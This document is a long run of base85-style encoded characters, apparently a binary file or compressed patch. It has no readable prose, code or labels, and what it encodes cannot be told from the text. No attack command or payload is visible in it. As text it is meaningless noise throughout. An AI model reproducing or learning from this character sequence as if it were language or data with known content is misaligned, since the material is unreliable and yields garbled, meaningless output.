z0oU`_Zmwj8A{h&!T$!UcvI=1}@xwFZ+jlgTeX8zFx>Jg#>DLEQHHVw6nd7$wQ4@WY z(NDg>-+v_K!I~6mzL^Hvvun#fIl0TTy!Nz57@LPpL<4U%9OsMI2WDvr4r@A>v`8I2 z%8k0+MLs127aX-`I2Rnyz&C*vzfVnAe!>T2=cNXdRe6+4BStD7a8V;q^!~nwwZV&U zHTCGzvl;R{rq$gmM>mw%5_7=OL5$V1P;XL{;mG9q%R(h%E;ds={GE%S%u%2+b;-v> z{K12?jI$%U5h2zMGbTf&L^@PsahJ0M)f_W1VSV!&jJMM7yYt|osgfy#a`03b!${6L zUY>K*1S%@e-`Xu4sAGHQqQ{5+#$g|j+6ubG38Rh4kb~oGH_=|~o|g_#ym9YzzTFeL zJ@~zpsr)$l(UMAsaAuY8D1f)HCl!zt?$qpgC*zAiaQB@=Ws&QSw)Q@iL2f;Jq&we+ zyVUEdGMUFf*1z^-_Pv#%tjCmq2jHYQTCzu zpr!c4po6k^=Iv5W1ZAEqhK%kG#XGK$=jDSkgC9UIS4*|cV$M9Ol3F!eRlLJ3 zKm56HORXCl`hb&j={ucdt?iQX_ONQn#KfGZ=E&iQD6RhD2v;rc!CXcH1QP@Fl)Zju z0fKsET+3dH9{)CWXk%QC7t7C7^E+)6((^F50i)Y^gT>Jnbx^2ZXHBinbH;RzRCzIaFjzl53#CeaP*OmXbtMU}(HcnDcft9H$m=ZgdJA)mu)X{AudgZ7=>hEI1L z^4r`cl|#{ija*}y8)40PTd+ClRRKU*VrTyNxZEupHtRL_erjFQdy&LJdVMav>a>!G z`oXN5%JZ~KfhjZ3cAyBuT7^p$QFJ5v$yWU-`zp_rBJ0maR)o+$&F-Ce z3kL`8nw`=)Y!yl|n^D!jBDIS2H8={xw6{mxget6)*UpKA+~i0z)3H>n0p+J{k8`m~ zixun2hO#0pY5F`xb&&(4qR@IAhs3&FMjUGDH_9)SIXb+chpxR;jQD@atQFzi73#^$ zwG82o`U`Yo$79|Wkpuky?gBHy4GNiy5A<)EO2&T>9nhuH?Yw#Vi(Hmy$4fU;$PI^o zvc5|WZA0CgH=pO%9}iTaS<4<0pV~97HuXm3Hp^bUJ6gQotUVQVx1uT;zU)4sdiw61 zUC+)hLbmPrtGZD;i0H1bB0cdj4qf%A%$H+~M|8@viyXlB+dat8XoOE}!*&M9_j52(u7fbbr_=qcDVSC&F-7#4Xw^-+2_8 zXw-t6%!?{G6NqS4QGbw*`p$_i^FW&vJq)dHG_n zC0Xe{q|cOv8*&Kd2r-;CK(zQXO@%+uY?x@5%{^iv|MApd?8bR#v@cIIlJY92vhVJlP#^V*t`|`WozWOJvvrSfIV%eR}4@G z?1J{k=0lIk;uOQn=4WjmRwxl&G?S*jQL~1@n=zcj^vPx7hu^=KRZ$h9S2;S%6!mgj z_0uiUtoQeeMZjD4eC=gVfW@Fs$#>&-|I&xY(`9v4ExAQx`@FnA6?!7n{nr>xTCwADfF@ z@Al_sUjJuXOO4Lr@u-Jqz6KxHp6>wQ|0fYS$U-Dvy=pb~leqciZncU%RkfsE7aT{( zhb?G$r)belCM~ka%;fud3rKahk#V|v5V{CtBzvx>@nZTO3Lkgl}&Ps^pcS>bir zVL@gZY@0JQG{r0Ag$Nw>e$+WC>-B6pEc%c4pjN@7I~h@EwM*&YXJt*Yb7FJ4z!DNo z1BNcv=U@D%Se~~)m!{*pXTTPn&=mFAf`(;9p@F9oMaGX#vC!Qv?b&Y5+ReRw#E)O= zI!#`q<@t#J41)}!!*y9JNn9;B>U;=KL3vN%e=EfjHI%F*g1Asrya1EGGt{x@PzoP8 zzzIR~M!pK{jDErfvu!X4PnU* z3@#2Phlj2@;=SMdD64+SOY9LToT)0vmb|HCE?K3JrFBTYlpm0*48vF>_cqvcaP-=@Rw$)Aq3KptUla?4_Dxb ztGV%C?b_YFauWqc(%|j`(esE=x|8qlYH3wxUmra$1%wpP)fOtsd6g*Fl_`iE@VQh; zlpd7V=orktqyC0O4R0NjUEaoe?fPy=TSIH;pOd-Jbs^y3vW!yDz%0#rtMp3)Q}vE> z1H=CRV(-19np)Go;iDeZg95goQbnZ&5Kwwm5KxM=6bMZ~T0#J&cR`UOMN|w`KsssE zB=jN*NUup~0)lixCv^DYyzk67>zijh&-(uR*8I0ucCvHT-+h&PUpLD5&&E$SmSzD^&E6B=LBnIF}-?3MbltvqfQZ>%5G7Ct>rok^D|(41Q0K1fPv zRPFL?1YZ`-p8$$v*gF2{C%&v5Ig*nVGbXZ+FeQHUX z!@(SNP!%zP!@vRB%)nQIq`VgUphMp+V-JNKsB>SSSj@I9@N@QKLRdzbzDcsRN)OMl zcAlD{Buwy{MI{9eBk$~O%ZIrJa%)nvff}oH-<8d-h{n|BO@Qcpm}IVpa!uTRAduPi zfqhF8PUejrlbf{a%eJl5KL3}swLT4X?;4fRFQ%7zcOIy~r*jX_RUDScvt4`zy7K^> zj}GrfR+qu0ju^t z^yN3ds;gOwvrDlzLo}>Z6};7g&r6*Nb0vBaJI?>%nlkIa7(?aNARKnJ)%X_1Mb=>r zg%iuGNGuQwzT@NCt(?*$?ep94C(wcAn7iNM;i068Rsv&`e}!t*lktVUE^X#FUh6?i zy9S&1!~K_trw27-NXKfU+**fs9%;LtVd}#w-?escaNR>_Hi@IhtrT+UxT9-_s!|3* zkeCcfbK0kh)SJrI&J-QIa%@GGOwI@Oj?r_XAsF>`Fyfs zr)Sff#TDfB^A@>t^0Q{DUT!@b+f!t)ip$#L?WvHgF}L~VZbzl3Ino7+~2Eyy}Zfz2~u zSjN;U))Ua4S$mZOK~Twjs3vu=vN5alP1-LfZI!-VzUjHcyw;BO+>R7*pHNZhKQmSq zW9aiOHMkz(8MR*^Me=|9aDpmt`7HKIjH)fwDS-CT|0cDYxV5&Jy0+r?CWO~^TqVe? z%Ulalmo}MRc;_Nphn znWr_aPj7W9pSfJaQy^O_=yGeB8k07kp5ILUrtyt8#a~I)FWZvyrB>4`-ORNmUyVzZ zow=c}zY%#tSIXB{?y?(}0pIJX#t4WcI4W76QJEd|QwIOpH=3lWgNHXQv2?rgtXZW9 zrptsK$O=%ZGqnAZ>8c0VTEgayMF@xD+P131Xzwx8!_@FHJrgcr&JvC#4n3u_Lc4DJoN*voevg_RYTZ zKvVPLxZueqI;Hqqg#dzjvHhBJEVFHFlUaDzwpv5u@}=tO?WKCp=%qFNogvS8lYo$) z&!;~5^SSQ-_l7>PuEfGgv`dpWD+ly=!cgY$N}uZ9hL`Dt(x+p*0>8u8oeMw{W?K@9 zN-td1`IDDX!Tnfqp2}93vsDD{X1NV) zJ&)Ozxa@jeQe{J(yI0j<6S=x&AWn(R9BbW5;$3Zs-H_&~KUSqsaWNp>*K*|>>C2p9 z!P>WujjhgC_0AO?E9siHSWVJ#8X}Hw;$=9B6W_$=@rl(Ldc7GvQ5a_EizSTkfA)^zB%C z>moLb<0#xec=f)O)&!(b&-J&=yHYM}HQVfzH$18`-zUCZX6jI?lQlT?F(3AbGLP@_ zy2bT~_u#QAz=zqk&5!>UoBP+t=DdhJp4>W2Df4=Z;|QeNN^vDkX=J6RvL+?LrwAuV z3@dVUjs+}i_NHu3FIEHa;muDHltyG^RO2wwfy3;kUuJ8l{MhEFbgnPAURSQSNpI6P{ld zh}nG{7Hdlzp_ZO7qfc;kc1Q|PReS@yG;0)lzPgdGg9wVHm7Nu9A~CKTFz`HygHGpU zWY!yYyOaK$r1A+G%cjHH>yF`aann0A>)HSa@_wuZF|!&P<)p86KQ|SmJ(OmsG?2Nq zFIArFlH&9>s&c>BWq;>N?McA8lI{#GTRn2Nc_7dY6P2^F%TwF~&6Cs$>!Y zrH!9JkYGsFDIqVbR0CoQ%&!@k@+QS9&qPVqWxj0powAh%Uyib>k5_E~bG^-ZB{s+H zp!oa~LjkJKY3Y<%zNi@EtG}$I@ZWY^*iO>VKmH?9A1nIZW{N4V>Ks@fFI-t2C!OSp zMQcn3Ay*y^wnUS%nJqXm`cKShaT9*0!JuuTN1O~;6IdBi|scBK=p z`Mvj1a(dj3R7fG}3W)47Hpm6GP8Y|KH&s+SjTF1CDMXvg{E8^07q=Jc!%mfwyXAfq znr^o%HS+liA3e#%AM(bpYI_7ute-Hf@XFuVKEF&BWnc7Yz+*VhRdk*Qjwv>^+N~?j_NBSYsHT)M(JY^eGQXyEUV61| zDAn{S9rl{;Px5lt7*RGeEr4NrOLT(<-_AyfiHVuqNG7VuIQh~#cjE3{zYse7HEmCc}nFCQhs+Fgdr9?yq$9tftF-Ut)_KXHwZ(h<87PzVtJ8q$+9{mLx8hv-p` zowFLjx&_M=aK&}7ldnqJp^R>TBo*CdY%@RB9fwEG`nNT`{vu>BMQ#iLv4`63-U_`I zbfI8)3NQj{MtXfqh<|gqwJ`_zm`=NYnXkv{bgscT8xT#%`dBrza8z&WO(WHV@SEc zk1RGsi+x!lUMsAJ`P_C~dw96uPRzKq{`wZz-h&XKsQ63JbH?4WGXF8({hN>7`=iTy z_MV>X#mHZw#6Oj%W%0DD-_Yuax$3VB_Ma;%moP($TJVZ;lV8&GkJwgj?&$NzS3AsO zJ7<3p@c!c`x5w`NafU)vcb{ja6cJ+O$PIe*Cfz4Wqj9jqct;km6Ca{{Xkl-cfW-cJ$pN)^iR$G z+bbnShL}@R%5AbvDiM$J+`D)E9N+b+JCgM_`ZSQF#P4V1)Q%q1EG%`d_$V#-t5<9N z8KR@{Pl^BAs}TQ_U8$=)LVG8V{LW+XG(slErAdUL#gP4T2~`*Mc{bJ2c3ndJ zTf_Jtbj~m_hO2iya!3DynxEA8^tW_L%CFq?=f}A{XGoemy?M&$FNyd6(ywNV`yYt@ ziQj+nI(G600I9{cXaB-~|3wGS8%>V=OzOYf{D0r5JA00SSkDELf9Z%nlYTO~==iTn z2mfT`w~%Ys8R6JTJ(>8wg+RX`>FEFZc@{@c$o2c^yDG z`6Ba8wA4&@*WreEV@$XA-v1(;JgKyQRFc<5_i%R9XRC3%XlCU;+d<-~XkSg|tl;C% ztWU-?H1ZV-vNWvxFJPMyX#9E8mN{BjC@$f71FOI-`%Ya)QP3shhoa1p=)wN7`hK@s z`;dvhps0U*<;3-|eL(fYIA{k)zri=jK;Fpk64luVTgH>y0+r-sE}c8C_`$Q;=@;Pj z6L5|F!R+IvJ6WQ12>>&0%xp{W#s_2!-8##0Dnv4@;b_4er_weEhVi`AU5poGM_ ztNky+m9ga?kwL1m!;fJ47mWQwegFNVAF}$d=>BFe|22mH8pD5);a{-xzsT@kWcbHw z`d?%C|6&Yp!@c1hQFXmnBu+oOWGbrE*chY#>C2^Ke>t1gS7QW4u?CX~oqyKdn^^BM zY1_j(CO>Zy7+w4G=iu)@1)FtiKiV_DO}k5R47kaG?%qFa06btmj8xM;Ar}>>N_Olj zx#Qgm!;|(GqEAs~V{lblZzrGl`fs;I*%{r}`8>hy|5^w2Mz~&j#v4!08}#xVy0JH< z%w6IjwhuqI7$JBL0@OEyOv@d%$!7=O)fY>gJW$taVZKqCBN`AyWB8LX+kt7F3Ag{m)X&U^ z-(c`}CHMB_4`(=xR|V4#Q{$0R3xkD3m*}~;{f*5U1d;ybL6D?%@2y*2erOwErmAsC z>8Al7KF6NOQIet*HPRz24wobLH%e=finLcq)(aJ!nb}58W=dLb24lz#LD6Jg zAt`!uKF=jiF9fODw>M~GXP#7HSRy+*N*D;^->sOupeZuA4jNEO$WiABuy^K)=8X0r z@^ElAe$szec}@UAcoVNs5?yFcy|8ONdShv3nw~=oRqMNc*~7 z4_fHtcT=6=%#xORNN)wrQzh?YO&@FhrZl7bf|nN$O;XZbY7=4e#E z#|AjlyCDsy%zGkj-J2@D*4Ra?#oe>VnQNPAD02QaZW#Gb%r%CR9)$G|5=p=wC4fe>2k2I9xLQ`r=cF=a6SuikCCelT1ps zZ%E1EFV>i66ZnQbQCT6hI~jd>ADiAlR4bXpZGcupsEc8*`x`f;_hnqrJ@16|vMDHa zW39FmtgoUkxNs5>@ZfSg#JmWp7)G3&L{PXrX^n#wM1T)M7>6?YAU^NDb{o*cv#_&x zDC(*{z;=hk$y<#eZ?No+Snb2WU2|Sjl$G{3q=i5^+({RF8|-C}Ay_c$`wD6ZoX z4kQFCkt@`;(?nGPAz!9MOwe=}N_o%$SJgruj~i zR(k)4{yN*Z`B&Lt12WjTlg%^h%d>JhF}!h5k1d)7Pr^$WAX^6ErTySKpkHIjP~s|k zBrqg#DW=+&OIu9XSYAXwjTEqw(0-%pkuveMa~}k6I7*_fdJYYuhr)?kiq=XgP=rBA z%W#*TNym|oa-x8;0D~+Y~ z;Rc*di^<&zM*a_e-AVg<;>csnKw8_Qi-FtskQ~+DQPAgeA{Xr8vUy(;$Z)+Oj3
    cRnJL`Y^gXHAbHOC{QA5i+ zaEoti>&WzX$_7ooWxr;9?%^?F^@4CedBY8wz?OEl=u7AHmC3cY_e@}G=c0$F_2#pO z$j>NYjgv<{`DHqJf+2{xX?#BH2~dJMD}@_?3rSJC5Y@$uSD#`sq|Z%#is3fCwAdZ$ zq0$jP5U{vY?UlDqS=`#%H_CWzaWkcRqfs>Wz7uOEikn;U!`-!f{|2*oI#{wpZ@9@S zmTPEOro`p@yd|QKT9u|F-ZMGBJwbi3_Wa_uxM$kBABPnvrF{u-h+e9BRZVleI?U@7 zxD;BN(r(r9;^)=je>P<$Dg$HbNI&x1qEVy5Y*)o0%=7F(xdovsy`)X?g8t--oTT2H zh>dZGtIR?p5lhJjAVDI}3!|okFEI6_Lh^)=xmHS->os_iSMTYZd@L;0>#`su*LwsB8ci_T3Xc6V&O>myJHP?!yljzNMuiaU+G0%xpM9 za^9))d#-3KwjU&KYn<&N=k0h6ZJ>V>MY;p~m{GIi4>Um;&*Y*dhc`1^RMTtLm@SSW zu&R#gs7emntD`0<4`C_?p{Va9p9gmc&Xg(kTy=>Xc%W^IqQ?Eq%2(c-Y_N7QtZTu* zj^-zdOyD9p$M}u}TNHn+X}cZ8-ku#SFNV-*vd^HzA7d+Wx*-d}iyX3m_2+?4H@;~> zk+$khM*c1M2fdi&R++A%xPq94Pr}^B$lJE?Rwwv3`3Qb7u{3lGp)sw`R^>T*k>}gN zK~{mZu|>5rcl2&%GB~V4scMF==$&3CFB@X3@1<$$#S2$@(V5a*VZch}I?oGFhw_O? z|J+R9PE#22&aDALdz+rtJiOEGYjIHtpx!f?ES93>t&PF$3JCWWt34NPMQo0lNKvmL zC>T;nxf7VUx$a*ie#45XCQf865+d|{;d8zD$rRt^D3*Uj!G8yde_LXb)Ba&b2oga1 zGVrvt5#nPU%n*WQ?#Vl6Y=u0oOz4?e$K$yuZkHGbQt@e$!Xb7CO7jM0uh8)lmaJsT{_^#jmyPJW?6QUco;m z+&6h}C+}|gIdHlWD%?hPq z!)XcaS$NPFOg$<_{PbSP1@+r_i&J<3S&9tE4sWe&;bR5B085znAGI*UX0Os+6aqlr zZ6d)MV4^^6(AX`JN0WDmq)=@|W?m%KjAU#a+8IM*oYNZ~cN$gD@-^=*DrWrE8{G$r zL0n;7iQ!vS7%;JdogUr(0uN12asV5yxy7s5zPu~*d(Vr^=ir^}GrGp`wsA`*J@>gI zxuiWR6~Xr${B_VU0h8|bVM>ed^MlHCX%q>Me~-rle-paK_A1)uvRI;S!UU-J!wQ_` z-G0*IrMa3w?8Ah{A*Vk4K;A&hTvEM@GM~N z+A{G*8y?!+D>rSFXPfy8;!=)b7`fwgw*?x+gXMfQy;3SC-J(QFB%mpIwRUM?2K#TjQM_>1$U_F z5d`f^U1RG){;k3Mqu%iMyCF^NSET6u&%2K(5qgFUHH5-4f;M_(7hHqZUw}(FNN6`G zHk}eWc!Iff9pz(cmOog#9XX$V^DR`q0%g2n>6=;AenYfB*q>fovb`;zY=ka)2ft1O z6~IRe5BIJ1!z?Pc-bi1NgJWnT22E=pz+WaDg+_XArrS=P;#c&YdY>W}NI96{J$wmR zHC2?4HMGl~apt*XR=J%Ij3?8=Rrk`rR+T%uR+r+Q>fL&tE6}tiVdfZ%zTTr_wS`Hc zs;Da3)gI0{;6K#q3Ga?QJr*`Ovi+?TxiP4*TN~`rkdK#E`|@ST=-?yo{`uVs`r9bF z|Gc-?yUwA)Q?>iV>XpU8|LiUKTbHOJE1Rkzvj<~LwPTN(8xvu5Dp zMIK`)d4Pjnvb5Jp^4iF#_QbomTCEj+l~~|;eX8hIxi43u?lZ7 zDUUn)RB@gjxpXMbY>6Bktr{>e(w`sj6dTRqa51<93;Q&BxPkGk;?6A% z?(@;?wlVCNR#0p@DRd2AgMbM3SmenOoDrl>cZcF&eYK9?gbY(HX*89iD&~Dt4RC zF2S@B{t|r^s3HA>+NJ(E#sL5$lgacE0Jx+#fI!rbLxul-9)3PaM11gN{6U?ioPXQF zx_%9A`<~eyYhrb~)Fw41^Dnj*^kWzuSizeYdDeljSDq{>y*`0z*}YGke-396j{a?WfVS7 z8}!&h-)MS0LVvf0Y4D5e!&mweMiST|1kmkWAqf}-&;}sTp4p}7(|4+NS?>xwd!?q` zZqN=l4XGrP^Ye2#>#cdt^nxQ5o`xCwO@9ul2lE_Xv)#Q}=D&v6jDSDs;__W?#fEPO zPXOG9bktCUGun~B!iK>5)GnExin&b^(Nab#SeEf#F}NNB-_5g|2Gh#>-@hl;CcO8@Cv6ZLWr#IZ?Q<`V+9$&{CBZ6@PDuVL zn>4SqXN{CNVAkx2@D0R*FjgAWt=H5#tHQi#B}YFW`n~Xf4wC-SMPq!W&iKl0N9Qzw zkIz(u!Q$HNIW!$B;enpbYf?Ucp9O&K6gJ2-h@wZkplqeI~@8)$pEwKgS@;ut1}p(H$sjG3p8xCUh~LsRxQy#HqPN!i-J9d^-NiF1$2>a5x!48&n)6om#Rgsr8|$ zBR1UGTdQq)djY$h2a~eMink@Y-VHEC@a{+N8l)mzdD~^fVmB{{T(dhUtQeGSJ-YLW zQCKN*JhhgK!+E{Sf#7>5v#M970K1cBuKgW5S}4hGm- z(o|io`Yg4HxOXlCt7J|(^>Er7hncg32JO1yYTZX_ybqX?6EXd&TRo3OrXFow4~;y3 zkLRzophI$RGqS)Sz0h--D|ZJqnPVm+0m8^HAw4RY$~1#7Buet{DQbYng6t7 zj)M~MiRHdb{=hiBXi+SnM~I;AC<;ZJsOV-)cP z`2J$xZKR90bFOspWn!7GLo2DUEDvEyC{|-k1=P2RM9+bB-DAN9=nSCIwwk_sH}QSG zEB>9a9m%pVC;|5x3g=|4pvS zQOPD@0MYmL2jFN6#5GW3>r^SZ#VB1#WAI$XjkL((P}tfUb2lmuY=J8neq`49wGiK4 zg~#K~^Z|@jK?ZPps3>PKrAF;f{_O|tZLo4sv5{eVc^PG(5JBVyUpD^jN##H(%xoUQ zM_OHXHfgP?5lAnxF6E@q?-f*rYF4FHeT+j>_OJ{*qcw_`K2Z9Q*UEV%~n*+y<8(+>kSsa_i|206WQFSsdKA9e?? zh|`9*-Mwt`odxYn_z0fV5c=#1N#csG<8by9$TzH$u#i-)hXEK>PPzfYSuKfhU1S5~ z3{Tu4nZU%POEki!L56y-<(bBqdj*j$5WceVM7Jv3)R&M6%*fQxDeHVCsmX%wPVk{_ zWTX9*{!A(6_OzJzu5x54RaAV_XttO!dTar}M=OrvI#v~gi(a8Dh-9TI-FBo0ijigmDr5UbzT+dOV%fs@Ew z17`6B{g}bP8&;J#Gp&%uIX$KdkKndo%{xU-{u?5-h*PV9)@Wz>uvN{JWC|Qa!^c1t zo<*8@;Yp4|`~1867p;h+htFzlbM@Q$6DMxL3Nj$Ci$L#7whwRGF9o_aC`|iX zdX|xprA15H7++ylsJbN|5RK9KgC91Ic?#&cy~z=C2t<#?V)y`&%q=suH5l)W-9XOM z;S|n1ZPUDy*(I}be{jpD8|eorsM>A`21v@61!uYgh1sd)fmsK!As7c1&@5(%76yF8 zK?KU9L*qJV{ystX^7LN0r)d#;7d8hK8YKv(TpLLk35t<_hh-iJBC3zxpNtX{&9edJ zNq7y7ExLC#Z5O=~KMmlDC0gN6?7WCG!aiWDXA0i`9-{TFsejtvA@I9aR{1>lO@2$>2FOfvdy5{3YXybPXRWwxoAHJlfZ?KFjcD>cy5BTpU2 zERvxbmFcRTr@Ce)O3Q*i1_oa!OnjXp3Pf@(Qz&@R$_M515z7+c(i+T!&rHUI}phhG+Q}V;d zhA|X7vm-Y&O4k)>%#1T*> z1s7^(b+Ctp+sPx+w)<>OCS)5MZgoD3Rc0E@xSdpwq_HqHzwnxvQ>0_9)@j=E1(ZZX zrrYs6z`FjSgD);PoLOdfaZttwi~}s$Up?-CQ6KqxRp38XpT^{Wlng|5^ILAQ>|iKa z)et-kJ3v59CVTDgu$T?u2Ii(ZrVc&dpa@}_f1p+V=j*R7UnMdv-vlSW2$mw zUT6?G@b8#O7Oo~(OCo9~$Kp^(Obh%``;ljg2JvB=qj+A5jRL3)82<>PZN}qYf%-7$ zo)Wv5B_cbDf~<5+i328W-?=5<+IUJvTG64z9i9Sf z!Q4#5JQse-E{3!s@91yd>(}B|#>|;8@<@scEH{zZ_&~;na_YrCX#+k_Dk{hOYhV11 zq6gei%a*JC)4^SD(RxznFKX>P)5++-tKC5=ACC#MUDW;qf7mzYN*i>=SCrcv?uc8J zV5ty1zD_4sm9^;U#Pq^VKX?8}aR`}%1-sbioDTwJ-(V_O@7=0?>)_3^?zCe$ zq4zxw_d0>(x<6ZMFw`jKzuR8AkWxBANKV$Hi46^uIlCSP@DsB4w%Ls0+Vuy9i#i9; zjC>~MaGNTY*4poU<19>W<(FmPrtBY*wU z12-Nh(s4ahAZ)e?4FjqN*%lBIm_2fgQy{1ZBGkYL`jE2f+Ad3`N?X~)47ja4KHMhz z(XCUx6hr>1{>B_kFh5?(qIeZFV4u?}ll@!j3HCs}a6Lhm`KHmE=AcM5op4#M-gqzgREnEU5eXGHrSj zmiAU;ZL0-;vh`Th{f`pF-<>Hk&JJri78UF1)xonl4JFJ~kC>UOvihz{0Jsgq!PbId zg&7j<`<)qM(U?alhbb@;?T~Ak2P-!xU}a_3>z{ib=VV8CgI3Tk(MYB*75C@YFDz@L zQyw}QT5Zx$53EA?_&slKmi^9BcTB#<&PGfhDExUU^K#x%&?izUf|A&3B2ELh+E`b8 zYu5j$YPc{PdptuD8(|`vOu8lhzUYqkM}=r^tZ<&xpG$cyCiQ;R`JNzOoH!O%?eub; zfOi3a@gnv^(fKTsO0m@<8lKdb%Iud8a&JG}+R1lNnqkWj;bc{k%84*zMr^YWMgdRC z{1NljQz|&gEBItXnVN5TS!0Ga91|c5lIz~-E^_h5v)j}dfX;}Z3!xn?*#wxoW;da^ z#2cFsZTwK-jxK;!wUaP?GEi(65fH^Aw^nZ(8(~w*9?k3gQ_D{#?ZP551wz=pV%{71YG-HvHQ2 zq=!=j+@AZppOINzI#&1t7t5MQvMM`QKo=vYfnIaj;*9aLR)o$fIoC8YkMR`|9%C~V zaCOD%fh%pQ9kV}1jEsY-XeK6`T~7Xb-fvkr^QmqNyMDDziH-%9OSOPK1j(o&lOE(E zsRaQKsp7S+yp|TFI)kzl$ilR0FtsDql+YPChug?K1!;-*W|Kc?Ic7T@G|dLq6G4hk z=L?BYNK1z^>Sh*JrAvXkql5av%R0Lys)xB=^x^x-A`XPy%)$p-oB5xvX>yUwPP*CP%ar(nUS1GKYh#oxqH{vMqAT$DVS+UAjD?j&Y1#p8 zp2C=_1fzxGaT~PwC9!Z4D$+_WN20IkYbehp(4NznHTv}i^T#5g-t{xh0^GI|Gr%kT zrL^|wJPr%-bQ5qr5HpUtk3E+Z8vgQeL*Wo|Uy1qUEKGS*w)p)*%uq9<@vpjHP;(ik z5x3!IW$W$Qt;BC^8dlpwB1pNKhSiNr#?-P9^EoN5vI~O%CO+{hr&cT{ea%}2N1jEW zOATiwPpwZ4QNaC+cv%n{88p%%8t@5-k()vYEb=#Lrd~JBz7;k$p3`E#CJw`;6+vsa zgm;VS15Y~afg`CsO;2LZ3S6)^zH}4S6Zm1{y|yp7*k5U7F@E*@U&Qo8z*gDkmRtUY z`ki%~ny;mRof%t;rWZ$fAAaDI$}%v*S{joJ@Llkmak{4IO1ADg;zB;2^(wmq6U?;r z3yrhF7YHsz9Tm~XC0jp>3v1p|nNE>Uc>TdpNfQuX+@O8wevMN0Q=`r)a!~P*lc}Fc zskJRxhU6uR;u12T6c6sa(nAAHvAskWeY?iR$7dfir32k{AUEu3AhbONkx)ZmG2WsL zvY44cC6HK`5_~G^N%O!*xJz23-%!wNF;W)Z}QpsxNWwNSc{k<6&PrT#pV8Zrx4Ct;6u?>9BY& zsqpGlAT^A!Q|XB>@hq5JLTDUERV^mQuev*Jjz7AlOvPmZZQQ*MQ1Re9qOR_j!y2nj z52!l_iK(Q9U{KP1#UAeNtumP6fkg~3rSz3I7h!6GXevGp}#rMdkpsQc~bYkvbe2eREF8?e+d(ug%Fylp#_E!+T z_iG^v1qK++4F;uk-2`^p^hp{Cx_@*~D%RU!sz*weWID>#Y*0kX1o*7?t?gI{RF ziV`5pIkskCwwJ_p&t4fSb)jdn)yo3aI0tl?65n(-I?1(7+_`8u+x*NCPpaWI?M%xR z^j*}dH4MznYIqA5maBXu*hzFI$`sDGDneo=@#&-dfRUHmv8n<>eM`BXsc*$n_9H@# zxp(V#&17QBt!vAN2^FELwOifd3!m6r`r~VSI&7@ua_LWFU<&kBl4sdJ=e|!SN0U&a5p>?5o{W;Tg z5E3zS1W4S&k>L~&X9o#r=4*h?eF$YlnS}S=BySH~l%26m?z&y$J=3Zq*U58%q;@bXJH)>9Af&f?!t znhL3;MhYx%9c{uK?|Q+jgvmfr}#r`bzVr1&ntqEy&N-6%GU{y;_U#FPAB;n zr~bT=68sk{mD3PLrSgt0Ua(Q=VK)8EHMVHa7UpRD^QYY}FEc$+I>WyC)<_cJrDX8^ zPFxg!W|paslTvn_9_-_FCO@V3?+kC}fbI#4Qb;toR@1PdXCe2Hi50OGdShtr1twIO za31=!$=!xeihZ(3?P<$1MLnV+*Ni-$R5tscXpal8wHpDijreh^ZJ~DHKNfacUV&R= zo%=drrD+ClaL?;inO{XWc?+hWNIV`WhBxVE@2s(DSnsM?MxT;NTO1^!bSOAk+C|la zFbo7NnzP)|^RnR#Mfkg?C3o9|0ngmrrUHcqTqgAPQIYeQ4O`=nMP5*FM+FaMPDF}Q zqN!&n6PE0C4r87zVIdO_Eqf3mDewE6`15z`=C0KPJt{Nv{S}Ke?yxSH1!C6Z7z1MF zz?EdsGBCfZpM-f~hffoK&i2_6%w}zET>SvM#$*;6#qLtMr>yuG~shvvsv1ft*@$toCq>8HL2r{lRIR8Fnzd zwnrhqbU{nC)+zHYIK4&p;1X&6%EhT|Y z+u8$D55!FsE0HKRFaS47kPW6Et5lG-Q^Y!`Gs|ajPJ!d$cdGy~!hvy? zMtX{m<24geb}$jSztQ9XX1%r>V7BT%%W9=q zfA~r~&^8Rf7ryYveOo7csd4A;uRpPTex)fJXNhRX4125A#)6|=J`|mCe0qCx^Jy+n zWd6JV$mUuqd_-ww7sY)J_kh$5z7x6^F3pRLUrfftu`hW5NPo(5sb>tEF8UEY}X6png@x8>xUd)}L!^CT)f`@X;} z<4GF_OS5sc&21;y!#b5WMWByG%2=lD!aKEDgOnFqpy0qsVJPXza-O+|MnPX+ZS8lj z^va!Y`lEgADWn#11aKrRROD@gyccIn(b5o{duA2u>bF-^@K^|5lrXF88ajF!T%@b-{;YsKl`hQQneuk{6SGgh>Pr(CP%WRysld|%uX&NjH7Lx=Kr zQo5aTK+88=|JtMe%m^#isSOx1jhlt*EoXW0;N#bY^Hk*0zT3idJ-9pPe#J6LzMLZw zWH3N8;62>A2=mT2Txb}gx4NsPA6Q)FFqFh*&R&SKtKcwxK6R`eIM|ZgM z=u-Snc^Y+J7%!$~>jdWFF!OZ8O|yrd+Q?AXKFhI-0JMNDD(Uymafr10D7!;;0N=ieM$=mWZP{BpDrL>Tju&8bo_aZ<7S%1NiU;pU-(gI_=KRi5j)mb35VaqP&gl zVs&Ig){_A-DMd|lVOoT{o$AF2_$U>{74)RF0Rin>mpkDPU0;m^tEvxt=gMZ6(k2rZ z=x;yuWynx-75t0e5V`^sU$N6J3Er0`(XEH9WuV(n>2%iyg96CCt17P~EXxEax80n?nGy6q?oveNiFrx#tITl-p>w3a{}#i^Bqew zbqcDd>iUaYB3Ts%1G9@>6O_0&%vkd`hIuwBh6+?LNrj zLCg@GX6!7kfDO9w=bM|xsCdlKpWD&A9pLog4-(*2c`qUK_?e_mHOto4v#%1-6R-7r z)4wt6Xp|Ovv=?7z`#zIkren`ljG?k~)xYI9r8oLzsXUb8JV%MSCci!*VKVqpqV%-6 z8w#z4yg$w3tLwn)+fRiOK;9ziP>$pi-AYtl&^}PHj({;AwXK*Vhn`n6Ersg}o?1ba z9#$@s3*b&`&s|Oj;RcCFmamp>Gi;~1&iPMh8#lyCBm0J@x~vOzZ>Si%VVgp8cpRp# z3_8n@)ojUtOs@Q-j`J$p=8{hS2{Duuh;I9f8&71`r48jpZr%=3g=tRRVwKh4FT{yp zFH_xzr;$%2=De*&7tq&ouRMUf2J31uQV$=AH2=sa z0fi)2T!oF|r3G1udKOHgOSgNQds|c2-lp!1_YU@(P!q|RrcT8^Z+``0OaGjFDTt}b zefnOv_`xe|2_C%}dJOI&e3^D#%hG*>b}JKTAwwD4)9J1T6k2A~TzrFo1l}#A|sjr)Gf^B}+4##se)k3~*>i5qbQ!o||2x zd-fvv-R&44{1pdl7W{_4e*Sz2mtfgdDH(SY#wPs@E-w0GM16BVD({u9QDW69xtPKw z2UFcIp(D6yQvyIqQ4l74MdomU}X- zwv!%s567*N#Q@w-6_)qdr0&7))vQ2_Imzz{rW-!2ioPj{YInAaMRGO3MVXlQaZY#!TS{l=1(=-g`zhy>;uO+qPj_!nOcPRZ)8H9h4@$C4`Rj-U+>k 